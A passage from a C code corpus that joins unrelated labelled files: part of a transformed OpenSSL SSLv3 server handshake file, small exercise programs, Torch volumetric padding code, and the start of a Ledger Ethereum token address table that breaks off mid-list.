(*(p + 0)) = (unsigned char )((j >> 8) & 255); (*(p + 1)) = (unsigned char )(j & 255); p += 2;
i2d_X509_NAME(name, & p);
n += 2 + j;
nl += 2 + j;
}
i ++;
}
}
p = (unsigned char *)(buf->data + (4 + off));
(*(p + 0)) = (unsigned char )((nl >> 8) & 255); (*(p + 1)) = (unsigned char )(nl & 255); p += 2;
d = (unsigned char *)buf->data;
tmp___2 = d; d ++; (*tmp___2) = 13;
(*(d + 0)) = (unsigned char )((n >> 16) & 255); (*(d + 1)) = (unsigned char )((n >> 8) & 255); (*(d + 2)) = (unsigned char )(n & 255); d += 3;
s->init_num = n + 4;
s->init_off = 0;
p = (unsigned char *)(s->init_buf)->data + s->init_num;
tmp___3 = p; p ++; (*tmp___3) = 14;
tmp___4 = p; p ++; (*tmp___4) = 0;
tmp___5 = p; p ++; (*tmp___5) = 0;
tmp___6 = p; p ++; (*tmp___6) = 0;
s->init_num += 4;
}
tmp___7 = ssl3_do_write(s, 22); return (tmp___7);
err:
return (-1);
}
}static int ssl3_get_client_key_exchange(SSL *s )
{ int i ;
int al ;
int ok ;
long n ;
unsigned long l ;
unsigned char *p ;
RSA *rsa ;
EVP_PKEY *pkey ;
BIGNUM *pub ;
DH *dh_srvr ;
{
rsa = (RSA *)((void *)0);
pkey = (EVP_PKEY *)((void *)0);
pub = (BIGNUM *)((void *)0);
n = ssl3_get_message(s, 8592, 8593, 16, 2048L, & ok);
if (! ok) { return ((int )n);
} p = (unsigned char *)(s->init_buf)->data;
l = ((s->s3)->tmp.new_cipher)->algorithms;
if (l & 1UL) {
if ((s->s3)->tmp.use_rsa_tmp) {
if ((unsigned long )s->cert != (unsigned long )((void *)0)) { if ((unsigned long )(s->cert)->rsa_tmp != (unsigned long )((void *)0)) { rsa = (s->cert)->rsa_tmp;
}
} if ((unsigned long )rsa == (unsigned long )((void *)0)) {
al = 40;
ERR_put_error(20, 139, 173, (char const *)"s3_srvr.c", 1365);
goto f_err;
}
} else {
pkey = (s->cert)->pkeys[0].privatekey;
if ((unsigned long )pkey == (unsigned long )((void *)0)) {
al = 40;
ERR_put_error(20, 139, 168, (char const *)"s3_srvr.c", 1378);
goto f_err;
} else {
if (pkey->type != 6) {
al = 40;
ERR_put_error(20, 139, 168, (char const *)"s3_srvr.c", 1378);
goto f_err;
} else {
if ((unsigned long )pkey->pkey.rsa == (unsigned long )((void *)0)) {
al = 40;
ERR_put_error(20, 139, 168, (char const *)"s3_srvr.c", 1378);
goto f_err;
}
}
}
rsa = pkey->pkey.rsa;
}
if (s->version > 768) {
i = (int )(((unsigned int )(*(p + 0)) << 8) | (unsigned int )(*(p + 1))); p += 2;
if (n != (long )(i + 2)) {
if (s->options & 256UL) {
p -= 2;
} else {
ERR_put_error(20, 139, 234, (char const *)"s3_srvr.c", 1392);
goto err;
}
} else {
n = (long )i;
}
}
i = RSA_private_decrypt((int )n, p, p, rsa, 1);
al = -1;
if (i != 48) {
al = 50;
ERR_put_error(20, 139, 118, (char const *)"s3_srvr.c", 1409);
}
if (al == -1) { if ((int )(*(p + 0)) == s->client_version >> 8) { if (! ((int )(*(p + 1)) == (s->client_version & 255))) {
goto _L;
}
} else {
_L:
if (s->options & 1024UL) { if ((int )(*(p + 0)) == s->version >> 8) { if (! ((int )(*(p + 1)) == (s->version & 255))) {
al = 50;
ERR_put_error(20, 139, 116, (char const *)"s3_srvr.c", 1425);
goto f_err;
}
} else {
al = 50;
ERR_put_error(20, 139, 116, (char const *)"s3_srvr.c", 1425);
goto f_err;
}
} else {
al = 50;
ERR_put_error(20, 139, 116, (char const *)"s3_srvr.c", 1425);
goto f_err;
}
}
} if (al != -1) {
ERR_clear_error();
i = 48;
(*(p + 0)) = (unsigned char )(s->client_version >> 8);
(*(p + 1)) = (unsigned char )(s->client_version & 255);
RAND_pseudo_bytes(p + 2, i - 2);
}
(s->session)->master_key_length = ((*(((s->method)->ssl3_enc)->generate_master_secret)))(s,
(s->session)->master_key,
p,
i);
memset((void *)p, 0, (unsigned int )i);
} else {
if (l & 22UL) {
i = (int )(((unsigned int )(*(p + 0)) << 8) | (unsigned int )(*(p + 1))); p += 2;
if (n != (long )(i + 2)) {
if (s->options & 128UL) {
p -= 2;
i = (int )n;
} else {
ERR_put_error(20, 139, 148, (char const *)"s3_srvr.c", 1467);
goto err;
}
}
if (n == 0L) {
al = 40;
ERR_put_error(20, 139, 236, (char const *)"s3_srvr.c", 1480);
goto f_err;
} else {
if ((unsigned long )(s->s3)->tmp.dh == (unsigned long )((void *)0)) {
al = 40;
ERR_put_error(20, 139, 171, (char const *)"s3_srvr.c", 1488);
goto f_err;
} else {
dh_srvr = (s->s3)->tmp.dh;
}
}
pub = BN_bin2bn((unsigned char const *)p, i, (BIGNUM *)((void *)0));
if ((unsigned long )pub == (unsigned long )((void *)0)) {
ERR_put_error(20, 139, 130, (char const *)"s3_srvr.c", 1498);
goto err;
}
i = DH_compute_key(p, pub, dh_srvr);
if (i <= 0) {
ERR_put_error(20, 139, 5, (char const *)"s3_srvr.c", 1506);
goto err;
}
DH_free((s->s3)->tmp.dh);
(s->s3)->tmp.dh = (DH *)((void *)0);
BN_clear_free(pub);
pub = (BIGNUM *)((void *)0);
(s->session)->master_key_length = ((*(((s->method)->ssl3_enc)->generate_master_secret)))(s,
(s->session)->master_key,
p,
i); memset((void *)p, 0, (unsigned int )i);
} else {
al = 40;
ERR_put_error(20, 139, 249, (char const *)"s3_srvr.c", 1524);
goto f_err;
}
} return (1);
f_err:
ssl3_send_alert(s, 2, al);
err:
return (-1);
}
}static int ssl3_get_cert_verify(SSL *s )
{ EVP_PKEY *pkey ;
unsigned char *p ;
int al ;
int ok ;
int ret ;
long n ;
int type ;
int i ;
int j ;
X509 *peer ;
{
pkey = (EVP_PKEY *)((void *)0);
ret = 0;
type = 0;
n = ssl3_get_message(s, 8608, 8609, -1, 512L, & ok);
if (! ok) { return ((int )n);
} if ((unsigned long )(s->session)->peer != (unsigned long )((void *)0)) {
peer = (s->session)->peer;
pkey = X509_get_pubkey(peer);
type = X509_certificate_type(peer, pkey);
} else {
peer = (X509 *)((void *)0);
pkey = (EVP_PKEY *)((void *)0);
}
if ((s->s3)->tmp.message_type != 15) {
(s->s3)->tmp.reuse_message = 1;
if ((unsigned long )peer != (unsigned long )((void *)0)) { if (type | 16) {
al = 10;
ERR_put_error(20, 136, 174, (char const *)"s3_srvr.c", 1573);
goto f_err;
}
} ret = 1;
goto end;
}
if ((unsigned long )peer == (unsigned long )((void *)0)) {
ERR_put_error(20, 136, 186, (char const *)"s3_srvr.c", 1582);
al = 10;
goto f_err;
}
if (! (type & 16)) {
ERR_put_error(20, 136, 220, (char const *)"s3_srvr.c", 1589);
al = 47;
goto f_err;
}
if ((s->s3)->change_cipher_spec) {
ERR_put_error(20, 136, 133, (char const *)"s3_srvr.c", 1596);
al = 10;
goto f_err;
}
p = (unsigned char *)(s->init_buf)->data;
i = (int )(((unsigned int )(*(p + 0)) << 8) | (unsigned int )(*(p + 1))); p += 2;
n -= 2L;
if ((long )i > n) {
ERR_put_error(20, 136, 159, (char const *)"s3_srvr.c", 1607);
al = 50;
goto f_err;
}
j = EVP_PKEY_size(pkey);
if (i > j) {
ERR_put_error(20, 136, 265, (char const *)"s3_srvr.c", 1615);
al = 50;
goto f_err;
} else {
if (n > (long )j) {
ERR_put_error(20, 136, 265, (char const *)"s3_srvr.c", 1615);
al = 50;
goto f_err;
} else {
if (n <= 0L) {
ERR_put_error(20, 136, 265, (char const *)"s3_srvr.c", 1615);
al = 50;
goto f_err;
}
}
}
if (pkey->type == 6) {
i = RSA_verify(114, (s->s3)->tmp.cert_verify_md, 36U, p, (unsigned int )i, pkey->pkey.rsa);
if (i < 0) {
al = 51;
ERR_put_error(20, 136, 118, (char const *)"s3_srvr.c", 1629);
goto f_err;
}
if (i == 0) {
al = 51;
ERR_put_error(20, 136, 122, (char const *)"s3_srvr.c", 1635);
goto f_err;
}
} else {
if (pkey->type == 116) {
j = DSA_verify(pkey->save_type, (unsigned char const *)(& (s->s3)->tmp.cert_verify_md[16]),
20, p, i, pkey->pkey.dsa);
if (j <= 0) {
al = 51;
ERR_put_error(20, 136, 112, (char const *)"s3_srvr.c", 1651);
goto f_err;
}
} else {
ERR_put_error(20, 136, 157, (char const *)"s3_srvr.c", 1658);
al = 43;
goto f_err;
}
} ret = 1;
if (0) {
f_err:
ssl3_send_alert(s, 2, al);
}
end:
EVP_PKEY_free(pkey);
return (ret);
}
}static int ssl3_get_client_certificate(SSL *s )
{ int i ;
int ok ;
int al ;
int ret ;
X509 *x ;
unsigned long l ;
unsigned long nc ;
unsigned long llen ;
unsigned long n ;
unsigned char *p ;
unsigned char *d ;
unsigned char *q ;
STACK *sk ;
int tmp ;
int tmp___0 ;
{
ret = -1;
x = (X509 *)((void *)0);
sk = (STACK *)((void *)0);
n = (unsigned long )ssl3_get_message(s, 8576, 8577, -1, 102400L, & ok);
if (! ok) { return ((int )n);
} if ((s->s3)->tmp.message_type == 16) {
if (s->verify_mode & 1) { if (s->verify_mode & 2) {
ERR_put_error(20, 137, 199, (char const *)"s3_srvr.c", 1701);
al = 40;
goto f_err;
}
} if (s->version > 768) { if ((s->s3)->tmp.cert_request) {
ERR_put_error(20, 137, 233, (char const *)"s3_srvr.c", 1708);
al = 10;
goto f_err;
}
} (s->s3)->tmp.reuse_message = 1;
return (1);
}
if ((s->s3)->tmp.message_type != 11) {
al = 10;
ERR_put_error(20, 137, 262, (char const *)"s3_srvr.c", 1719);
goto f_err;
}
p = (unsigned char *)(s->init_buf)->data; d = p;
sk = sk_new_null(); if ((unsigned long )sk == (unsigned long )((void *)0)) {
ERR_put_error(20, 137, 33, (char const *)"s3_srvr.c", 1726);
goto err;
}
llen = (((unsigned long )(*(p + 0)) << 16) | ((unsigned long )(*(p + 1)) << 8)) |
(unsigned long )(*(p + 2));
p += 3;
if (llen + 3UL != n) {
al = 50;
ERR_put_error(20, 137, 159, (char const *)"s3_srvr.c", 1734);
goto f_err;
}
nc = 0UL; while (nc < llen) {
l = (((unsigned long )(*(p + 0)) << 16) | ((unsigned long )(*(p + 1)) << 8)) |
(unsigned long )(*(p + 2));
p += 3;
if ((l + nc) + 3UL > llen) {
al = 50;
ERR_put_error(20, 137, 135, (char const *)"s3_srvr.c", 1743);
goto f_err;
}
q = p;
x = d2i_X509((X509 **)((void *)0), & p, (long )l);
if ((unsigned long )x == (unsigned long )((void *)0)) {
ERR_put_error(20, 137, 13, (char const *)"s3_srvr.c", 1751);
goto err;
}
if ((unsigned long )p != (unsigned long )(q + l)) {
al = 50;
ERR_put_error(20, 137, 135, (char const *)"s3_srvr.c", 1757);
goto f_err;
}
tmp = sk_push(sk, (char *)x); if (! tmp) {
ERR_put_error(20, 137, 33, (char const *)"s3_srvr.c", 1762);
goto err;
}
x = (X509 *)((void *)0);
nc += l + 3UL;
}
tmp___0 = sk_num((STACK const *)sk); if (tmp___0 <= 0) {
if (s->version == 768) {
al = 40;
ERR_put_error(20, 137, 176, (char const *)"s3_srvr.c", 1775);
goto f_err;
} else {
if (s->verify_mode & 1) { if (s->verify_mode & 2) {
ERR_put_error(20, 137, 199, (char const *)"s3_srvr.c", 1782);
al = 40;
goto f_err;
}
}
}
} else {
i = ssl_verify_cert_chain(s, sk);
if (! i) {
al = ssl_verify_alarm_type(s->verify_result);
ERR_put_error(20, 137, 178, (char const *)"s3_srvr.c", 1793);
goto f_err;
}
}
if ((unsigned long )(s->session)->peer != (unsigned long )((void *)0)) { X509_free((s->session)->peer);
}
(s->session)->peer = (X509 *)sk_shift(sk);
(s->session)->verify_result = s->verify_result;
if ((unsigned long )(s->session)->sess_cert == (unsigned long )((void *)0)) {
(s->session)->sess_cert = ssl_sess_cert_new();
if ((unsigned long )(s->session)->sess_cert == (unsigned long )((void *)0)) {
ERR_put_error(20, 137, 33, (char const *)"s3_srvr.c", 1810);
goto err;
}
}
if ((unsigned long )((s->session)->sess_cert)->cert_chain != (unsigned long )((void *)0)) { sk_pop_free(((s->session)->sess_cert)->cert_chain, (void (*)(void * ))(& X509_free));
}
((s->session)->sess_cert)->cert_chain = sk;
sk = (STACK *)((void *)0);
ret = 1;
if (0) {
f_err:
ssl3_send_alert(s, 2, al);
}
err:
if ((unsigned long )x != (unsigned long )((void *)0)) { X509_free(x);
} if ((unsigned long )sk != (unsigned long )((void *)0)) { sk_pop_free(sk, (void (*)(void * ))(& X509_free));
} return (ret);
}
}int ssl3_send_server_certificate(SSL *s )
{ unsigned long l ;
X509 *x ;
int tmp ;
{
if (s->state == 8512) {
x = ssl_get_server_send_cert(s);
if ((unsigned long )x == (unsigned long )((void *)0)) {
ERR_put_error(20, 154, 157, (char const *)"s3_srvr.c", 1844);
return (0);
}
l = ssl3_output_cert_chain(s, x);
s->state = 8513;
s->init_num = (int )l;
s->init_off = 0;
}
tmp = ssl3_do_write(s, 22); return (tmp);
}
}
|
the_stack_data/1077253.c
|
int main(int argc, char* argv<::>) <%
return 3;
%>
|
the_stack_data/47942.c
|
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
int factorial(int n){
if(n==0 || n==1)
return 1;
return n*factorial(n-1);
}
int main() {
/* Enter your code here. Read input from STDIN. Print output to STDOUT */
int n;
scanf("%d",&n);
printf("%d",factorial(n));
return 0;
}
|
the_stack_data/126539.c
|
#include <stdio.h>
int main(){
char A[20], B[20], C[20];
scanf(" %s" , A);
scanf(" %s" , B);
scanf(" %s" , C);
switch(A[0]){
case 'v' : switch(B[0]){
case 'a' : switch(C[0]) {
case 'c' : printf("aguia\n"); break;
case 'o' : printf("pomba\n"); break;
} break;
case 'm' : switch(C[0]) {
case 'o' : printf("homem\n"); break;
case 'h' : printf("vaca\n"); break;
} break;
} ; break;
case 'i' : switch(B[0]){
case 'i' : switch(C[2]) {
case 'm' : printf("pulga\n"); break;
case 'r' : printf("lagarta\n"); break;
} break;
case 'a' : switch(C[0]) {
case 'h' : printf("sanguessuga\n"); break;
case 'o' : printf("minhoca\n"); break;
} break;
} ; break;
}
return 0;
}
|
the_stack_data/950281.c
|
#include<stdio.h>
int main()
{
int a,b,i;
scanf("%d%d" , &a, &b);
for (i=a; i<=b; i++)
{
if(i>9)
{
if(i%2==0) printf("even\n");
else printf("odd\n");
}
else
{
if (i==1) printf("one\n");
else if(i==2) printf("two\n");
else if (i==3) printf("three\n");
else if (i==4) printf("four\n");
else if (i==5) printf("five\n");
else if(i==6) printf("six\n");
else if(i==7) printf("seven\n");
else if (i==8) printf("eight\n");
else if (i==9) printf("nine\n");
}
}
}
|
the_stack_data/44799.c
|
#ifndef TH_GENERIC_FILE
#define TH_GENERIC_FILE "generic/VolumetricReplicationPadding.c"
#else
static inline void THNN_(VolumetricReplicationPadding_shapeCheck)(
THNNState *state,
THTensor *input,
THTensor *gradOutput,
int pleft, int pright,
int ptop, int pbottom,
int pfront, int pback) {
int dimw = 3;
int dimh = 2;
int dimd = 1;
int dimslices = 0;
long nslices;
long idepth;
long iheight;
long iwidth;
long odepth;
long oheight;
long owidth;
THNN_ARGCHECK(input->nDimension == 4 || input->nDimension == 5, 2, input,
"4D or 5D (batch mode) tensor expected for input, but got: %s");
if (input->nDimension == 5)
{
dimw++;
dimh++;
dimd++;
dimslices++;
}
/* sizes */
nslices = input->size[dimslices];
idepth = input->size[dimd];
iheight = input->size[dimh];
iwidth = input->size[dimw];
odepth = idepth + pfront + pback;
oheight = iheight + ptop + pbottom;
owidth = iwidth + pleft + pright;
THArgCheck(owidth >= 1 || oheight >= 1 || odepth >= 1, 2,
"input (D: %d H: %d, W: %d)is too small."
" Calculated output D: %d H: %d W: %d",
idepth, iheight, iwidth, odepth, oheight, owidth);
if (gradOutput != NULL) {
THArgCheck(nslices == THTensor_(size)(gradOutput, dimslices), 3,
"gradOutput width unexpected. Expected: %d, Got: %d",
nslices, THTensor_(size)(gradOutput, dimslices));
THArgCheck(owidth == THTensor_(size)(gradOutput, dimw), 3,
"gradOutput width unexpected. Expected: %d, Got: %d",
owidth, THTensor_(size)(gradOutput, dimw));
THArgCheck(oheight == THTensor_(size)(gradOutput, dimh), 3,
"gradOutput height unexpected. Expected: %d, Got: %d",
oheight, THTensor_(size)(gradOutput, dimh));
THArgCheck(odepth == THTensor_(size)(gradOutput, dimd), 3,
"gradOutput depth unexpected. Expected: %d, Got: %d",
odepth, THTensor_(size)(gradOutput, dimd));
}
}
static void THNN_(VolumetricReplicationPadding_updateOutput_frame)(
real *input_p, real *output_p,
long nslices,
long iwidth, long iheight, long idepth,
long owidth, long oheight, long odepth,
int pleft, int pright,
int ptop, int pbottom,
int pfront, int pback)
{
int iStartX = fmax(0, -pleft);
int iStartY = fmax(0, -ptop);
int iStartZ = fmax(0, -pfront);
int oStartX = fmax(0, pleft);
int oStartY = fmax(0, ptop);
int oStartZ = fmax(0, pfront);
long k, ip_x, ip_y, ip_z;
#pragma omp parallel for private(k, ip_x, ip_y, ip_z)
for (k = 0; k < nslices; k++) {
long i, j, z;
for (z = 0; z < odepth; z++) {
for (i = 0; i < oheight; i++) {
for (j = 0; j < owidth; j++) {
if (j < pleft) {
ip_x = pleft;
} else if (j >= pleft && j < iwidth + pleft) {
ip_x = j;
} else {
ip_x = iwidth + pleft - 1;
}
ip_x = ip_x - oStartX + iStartX;
if (i < ptop) {
ip_y = ptop;
} else if (i >= ptop && i < iheight + ptop) {
ip_y = i;
} else {
ip_y = iheight + ptop - 1;
}
ip_y = ip_y - oStartY + iStartY;
if (z < pfront) {
ip_z = pfront;
} else if (z >= pfront && z < idepth + pfront) {
ip_z = z;
} else {
ip_z = idepth + pfront - 1;
}
ip_z = ip_z - oStartZ + iStartZ;
real *dest_p = output_p + k * owidth * oheight * odepth +
z * owidth * oheight + i * owidth + j;
real *src_p = input_p + k * iwidth * iheight * idepth +
ip_z * iwidth * iheight + ip_y * iwidth + ip_x;
*dest_p = *src_p;
}
}
}
}
}
void THNN_(VolumetricReplicationPadding_updateOutput)(THNNState *state,
THTensor *input,
THTensor *output,
int pleft, int pright,
int ptop, int pbottom,
int pfront, int pback)
{
int dimw = 3;
int dimh = 2;
int dimd = 1;
int dimslices = 0;
long nbatch = 1;
long nslices;
long idepth;
long iheight;
long iwidth;
long odepth;
long oheight;
long owidth;
real *input_data;
real *output_data;
THNN_(VolumetricReplicationPadding_shapeCheck)(
state, input, NULL, pleft, pright,
ptop, pbottom, pfront, pback);
if (input->nDimension == 5)
{
nbatch = input->size[0];
dimw++;
dimh++;
dimd++;
dimslices++;
}
/* sizes */
nslices = input->size[dimslices];
idepth = input->size[dimd];
iheight = input->size[dimh];
iwidth = input->size[dimw];
odepth = idepth + pfront + pback;
oheight = iheight + ptop + pbottom;
owidth = iwidth + pleft + pright;
/* get contiguous input */
input = THTensor_(newContiguous)(input);
/* resize output */
if (input->nDimension == 4)
{
THTensor_(resize4d)(output, nslices, odepth, oheight, owidth);
input_data = THTensor_(data)(input);
output_data = THTensor_(data)(output);
THNN_(VolumetricReplicationPadding_updateOutput_frame)(
input_data, output_data, nslices, iwidth, iheight, idepth,
owidth, oheight, odepth, pleft, pright, ptop, pbottom, pfront,
pback);
}
else
{
long p;
THTensor_(resize5d)(output, nbatch, nslices, odepth, oheight, owidth);
input_data = THTensor_(data)(input);
output_data = THTensor_(data)(output);
#pragma omp parallel for private(p)
for (p = 0; p < nbatch; p++)
{
THNN_(VolumetricReplicationPadding_updateOutput_frame)(
input_data + p * nslices * iwidth * iheight * idepth,
output_data + p * nslices * owidth * oheight * odepth,
nslices,
iwidth, iheight, idepth,
owidth, oheight, odepth,
pleft, pright,
ptop, pbottom,
pfront, pback);
}
}
/* cleanup */
THTensor_(free)(input);
}
static void THNN_(VolumetricReplicationPadding_updateGradInput_frame)(
real *ginput_p, real *goutput_p,
long nslices,
long iwidth, long iheight, long idepth,
long owidth, long oheight, long odepth,
int pleft, int pright,
int ptop, int pbottom,
int pfront, int pback)
{
int iStartX = fmax(0, -pleft);
int iStartY = fmax(0, -ptop);
int iStartZ = fmax(0, -pfront);
int oStartX = fmax(0, pleft);
int oStartY = fmax(0, ptop);
int oStartZ = fmax(0, pfront);
long k, ip_x, ip_y, ip_z;
#pragma omp parallel for private(k, ip_x, ip_y, ip_z)
for (k = 0; k < nslices; k++) {
long i, j, z;
for (z = 0; z < odepth; z++) {
for (i = 0; i < oheight; i++) {
for (j = 0; j < owidth; j++) {
if (j < pleft) {
ip_x = pleft;
} else if (j >= pleft && j < iwidth + pleft) {
ip_x = j;
} else {
ip_x = iwidth + pleft - 1;
}
ip_x = ip_x - oStartX + iStartX;
if (i < ptop) {
ip_y = ptop;
} else if (i >= ptop && i < iheight + ptop) {
ip_y = i;
} else {
ip_y = iheight + ptop - 1;
}
ip_y = ip_y - oStartY + iStartY;
if (z < pfront) {
ip_z = pfront;
} else if (z >= pfront && z < idepth + pfront) {
ip_z = z;
} else {
ip_z = idepth + pfront - 1;
}
ip_z = ip_z - oStartZ + iStartZ;
real *src_p = goutput_p + k * owidth * oheight * odepth +
z * owidth * oheight + i * owidth + j;
real *dest_p = ginput_p + k * iwidth * iheight * idepth +
ip_z * iwidth * iheight + ip_y * iwidth + ip_x;
*dest_p += *src_p;
}
}
}
}
}
void THNN_(VolumetricReplicationPadding_updateGradInput)(THNNState *state,
THTensor *input,
THTensor *gradOutput,
THTensor *gradInput,
int pleft, int pright,
int ptop, int pbottom,
int pfront, int pback)
{
int dimw = 3;
int dimh = 2;
int dimd = 1;
int dimslices = 0;
long nbatch = 1;
long nslices;
long idepth;
long iheight;
long iwidth;
long odepth;
long oheight;
long owidth;
if (input->nDimension == 5)
{
nbatch = input->size[0];
dimw++;
dimh++;
dimd++;
dimslices++;
}
/* sizes */
nslices = input->size[dimslices];
idepth = input->size[dimd];
iheight = input->size[dimh];
iwidth = input->size[dimw];
odepth = idepth + pfront + pback;
oheight = iheight + ptop + pbottom;
owidth = iwidth + pleft + pright;
THNN_(VolumetricReplicationPadding_shapeCheck)(
state, input, NULL, pleft, pright,
ptop, pbottom, pfront, pback);
/* get contiguous gradOutput */
gradOutput = THTensor_(newContiguous)(gradOutput);
/* resize */
THTensor_(resizeAs)(gradInput, input);
THTensor_(zero)(gradInput);
/* backprop */
if (input->nDimension == 4) {
THNN_(VolumetricReplicationPadding_updateGradInput_frame)(
THTensor_(data)(gradInput),
THTensor_(data)(gradOutput),
nslices,
iwidth, iheight, idepth,
owidth, oheight, odepth,
pleft, pright,
ptop, pbottom,
pfront, pback);
} else {
long p;
#pragma omp parallel for private(p)
for (p = 0; p < nbatch; p++) {
THNN_(VolumetricReplicationPadding_updateGradInput_frame)(
THTensor_(data)(gradInput) + p * nslices * idepth * iheight * iwidth,
THTensor_(data)(gradOutput) + p * nslices * odepth * oheight * owidth,
nslices,
iwidth, iheight, idepth,
owidth, oheight, odepth,
pleft, pright,
ptop, pbottom,
pfront, pback);
}
}
/* cleanup */
THTensor_(free)(gradOutput);
}
#endif
|
the_stack_data/92326808.c
|
/*******************************************************************************
* Ledger Ethereum App
* (c) 2016-2019 Ledger
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
********************************************************************************/
#ifdef HAVE_TOKENS_LIST
#include "tokens.h"
const tokenDefinition_t const TOKENS_AKROMA[NUM_TOKENS_AKROMA] = {};
const tokenDefinition_t const TOKENS_ETHEREUM[NUM_TOKENS_ETHEREUM] = {
{{0x4E,0x84,0xE9,0xe5,0xfb,0x0A,0x97,0x26,0x28,0xCf,0x45,0x68,0xc4,0x03,0x16,0x7E,0xF1,0xD4,0x04,0x31}, "$FFC ", 18},
{{0xa0,0x24,0xe8,0x05,0x7e,0xec,0x47,0x4a,0x9b,0x23,0x56,0x83,0x37,0x07,0xdd,0x05,0x79,0xe2,0x6e,0xf3}, "$FYX ", 18},
{{0xcd,0xb7,0xec,0xfd,0x34,0x03,0xee,0xf3,0x88,0x2c,0x65,0xb7,0x61,0xef,0x9b,0x50,0x54,0x89,0x0a,0x47}, "$HUR ", 18},
{{0x0d,0xb8,0xd8,0xb7,0x6b,0xc3,0x61,0xba,0xcb,0xb7,0x2e,0x2c,0x49,0x1e,0x06,0x08,0x5a,0x97,0xab,0x31}, "$IQN ", 18},
{{0x7d,0xd7,0xf5,0x6d,0x69,0x7c,0xc0,0xf2,0xb5,0x2b,0xd5,0x5c,0x05,0x7f,0x37,0x8f,0x1f,0xe6,0xab,0x4b}, "$TEAK ", 18},
{{0xB6,0xeD,0x76,0x44,0xC6,0x94,0x16,0xd6,0x7B,0x52,0x2e,0x20,0xbC,0x29,0x4A,0x9a,0x9B,0x40,0x5B,0x31}, "0xBTC ", 8},
{{0xAf,0x30,0xD2,0xa7,0xE9,0x0d,0x7D,0xC3,0x61,0xc8,0xC4,0x58,0x5e,0x9B,0xB7,0xD2,0xF6,0xf1,0x5b,0xc7}, "1ST ", 18},
{{0xfd,0xbc,0x1a,0xdc,0x26,0xf0,0xf8,0xf8,0x60,0x6a,0x5d,0x63,0xb7,0xd3,0xa3,0xcd,0x21,0xc2,0x2b,0x23}, "1WO ", 8},
{{0x00,0x73,0xe5,0xE5,0x2E,0x2B,0x4f,0xE2,0x18,0xD7,0x5d,0x99,0x4e,0xE2,0xB3,0xc8,0x2f,0x9C,0x87,0xEA}, "22x ", 8},
{{0x9f,0xC0,0x58,0x32,0x20,0xeB,0x44,0xfA,0xeE,0x9e,0x2d,0xc1,0xE6,0x3F,0x39,0x20,0x4D,0xDD,0x90,0x90}, "2DC ", 18},
{{0xaE,0xc9,0x8A,0x70,0x88,0x10,0x41,0x48,0x78,0xc3,0xBC,0xDF,0x46,0xAa,0xd3,0x1d,0xEd,0x4a,0x45,0x57}, "300 ", 18},
{{0x43,0x02,0x41,0x36,0x8c,0x1D,0x29,0x3f,0xdA,0x21,0xDB,0xa8,0xBb,0x7a,0xF3,0x20,0x07,0xc5,0x91,0x09}, "3LT ", 8},
{{0xBa,0x7D,0xCB,0xa2,0xAd,0xe3,0x19,0xBc,0x77,0x2D,0xB4,0xdf,0x75,0xA7,0x6B,0xA0,0x0d,0xFb,0x31,0xb0}, "A18 ", 18},
{{0xcc,0x7d,0x26,0xd8,0xea,0x62,0x81,0xbb,0x36,0x3c,0x84,0x48,0x51,0x5f,0x2c,0x61,0xf7,0xbc,0x19,0xf0}, "ABCH ", 18},
{{0xb9,0x8d,0x4c,0x97,0x42,0x5d,0x99,0x08,0xe6,0x6e,0x53,0xa6,0xfd,0xf6,0x73,0xac,0xca,0x0b,0xe9,0x86}, "ABT ", 18},
{{0x0e,0x8d,0x6b,0x47,0x1e,0x33,0x2f,0x14,0x0e,0x7d,0x9d,0xbb,0x99,0xe5,0xe3,0x82,0x2f,0x72,0x8d,0xa6}, "ABYSS ", 18},
{{0x13,0xf1,0xb7,0xfd,0xfb,0xe1,0xfc,0x66,0x67,0x6d,0x56,0x48,0x3e,0x21,0xb1,0xec,0xb4,0x0b,0x58,0xe2}, "ACC ", 18},
{{0x06,0x14,0x71,0x10,0x02,0x2b,0x76,0x8b,0xa8,0xf9,0x9a,0x8f,0x38,0x5d,0xf1,0x1a,0x15,0x1a,0x9c,0xc8}, "ACE ", 0},
{{0x2b,0xaa,0xc9,0x33,0x0c,0xf9,0xac,0x47,0x9d,0x81,0x91,0x95,0x79,0x4d,0x79,0xad,0x0c,0x76,0x16,0xe3}, "ADB ", 18},
{{0xE6,0x9a,0x35,0x3b,0x31,0x52,0xDd,0x7b,0x70,0x6f,0xf7,0xdD,0x40,0xfe,0x1d,0x18,0xb7,0x80,0x2d,0x31}, "ADH ", 18},
{{0x88,0x10,0xC6,0x34,0x70,0xd3,0x86,0x39,0x95,0x4c,0x6B,0x41,0xAa,0xC5,0x45,0x84,0x8C,0x46,0x48,0x4a}, "ADI ", 18},
{{0x66,0x0e,0x71,0x48,0x37,0x85,0xf6,0x61,0x33,0x54,0x8b,0x10,0xf6,0x92,0x6d,0xc3,0x32,0xb0,0x6e,0x61}, "ADL ", 18},
{{0x42,0x28,0x66,0xa8,0xF0,0xb0,0x32,0xc5,0xcf,0x1D,0xfB,0xDE,0xf3,0x1A,0x20,0xF4,0x50,0x95,0x62,0xb0}, "ADST ", 0},
{{0xD0,0xD6,0xD6,0xC5,0xFe,0x4a,0x67,0x7D,0x34,0x3c,0xC4,0x33,0x53,0x6B,0xB7,0x17,0xbA,0xe1,0x67,0xdD}, "ADT ", 9},
{{0x44,0x70,0xBB,0x87,0xd7,0x7b,0x96,0x3A,0x01,0x3D,0xB9,0x39,0xBE,0x33,0x2f,0x92,0x7f,0x2b,0x99,0x2e}, "ADX ", 4},
{{0x5c,0xa9,0xa7,0x1b,0x1d,0x01,0x84,0x9c,0x0a,0x95,0x49,0x0c,0xc0,0x05,0x59,0x71,0x7f,0xcf,0x0d,0x1d}, "AE ", 18},
{{0x8e,0xB2,0x43,0x19,0x39,0x37,0x16,0x66,0x8D,0x76,0x8d,0xCE,0xC2,0x93,0x56,0xae,0x9C,0xfF,0xe2,0x85}, "AGI ", 8},
{{0x51,0x21,0xe3,0x48,0xe8,0x97,0xda,0xef,0x1e,0xef,0x23,0x95,0x9a,0xb2,0x90,0xe5,0x55,0x7c,0xf2,0x74}, "AI ", 18},
